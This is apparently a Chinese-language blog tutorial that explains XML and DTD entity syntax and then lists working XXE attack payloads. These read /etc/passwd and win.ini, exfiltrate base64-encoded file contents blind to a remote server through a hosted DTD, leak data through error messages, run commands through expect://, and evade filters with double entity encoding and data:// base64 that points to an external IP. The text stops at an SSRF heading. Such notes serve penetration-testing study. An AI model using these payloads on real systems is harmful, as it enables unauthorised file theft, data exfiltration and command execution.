XML语法规则

1
2
ELEMENT代表元素
ENTITY代表实例

实体分类

内部实体和外部实体

内部实体

如果DTD是在xml中直接嵌入的为内部实体,其格式为

1
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

外部实体

DTD如果是外部

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

例如

1
2
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
1
<author>&writer;&copyright;</author>

通用实体和参数实体

通用实体

利用& 实体名来引用的实体,他将在dtd中被定义,在xml文档中被引用

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

参数实体

% xxx 是定义DTD变量,这种变量只能在dtd中使用,无法引用到xml

使用% 实体名在dtd中定义,并且只可以在dtd中使用% 实体名

只有在 dtd 文件中,参数实体的声明才能引用其他实体

1
2
<!DOCTYPE foo [ <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd; ]>

参数实体在我们 blind xxe 中起到了至关重要的作用

文本数据类型

PCDATA

被解析的字符数据,里面不能包含有特殊的字符比如<,>,只能存在其实体编码字符

CDATA

可以用来包裹存在特殊字符的文件

CDATA 的意思是字符数据,其内容不会被解析器解析,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开,常用于外带特殊字符

1
2
3
4
5
&lt;   <
&gt; >
&amp; &
&quot; "
&apos;

XXE

image-20220328211733960

xml 外部实体注入可以注入外部实体以扩大攻击面

主要攻击手段就是引入外部实体加载过程中造成命令执行

PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string

1
2
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
<!DOCTYPE person SYSTEM "person.dtd">

或者

1
<!DOCTYPE updateProfile [<!ENTITY % remote PUBLIC "dtd" "http://127.0.0.1/evil.dtd"> ]> 

利用

任意文件读取

1
2
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<user><username>&goodies;</username><password>12</password></user>

当外部实体不能使用时可以使用参数实体

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

将元素类别声明为ANY

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

如果目标网页使用的是 PHP,可以使用php包装器 php://filter/convert.base64-encode/resource= 来访问内部文件而不需要再使用 file:/ 协议

如果是 Java 的网页,可以使用 jar:protocol

回显有特殊字符

可以直接用无回显的方式外带base编码数据

或者利用<![CDATA[...]]包裹

eval.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> //可以省略的
<!ENTITY all "%start;%goodies;%end;">

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.5.149/eval.dtd">
%dtd; ]>
<roottag>&all;</roottag>

无回显

xml.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

%remote 先调用,调用后请求远程服务器上的test.dtd,有点类似于将test.dtd包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将%file的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用%send;把我们的读取到的数据发送到我们的远程 vps

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

RCE

主要是由于配置不当或开发内部应用导致的,如果PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
</core>
</catalog>

报错外带

如果无法外连可以使用本地的外部dtd文件,通过重新定义已包含的实体报错带出敏感数据

假设服务器文件系统上的位置/usr/local/app/schema处有一个DTD文件,该dtd文件定义了一个名为custom_entity的实体,攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

img

编码绕过

双重实体编码

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">
%xml;
]>

<!--编码内容-->
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
<message>&xxe;</message>
</core>

data协议编码

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+">
%a;
%b;
]>
<test>&hhh;</test>

<!--编码内容-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
1
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

SSRF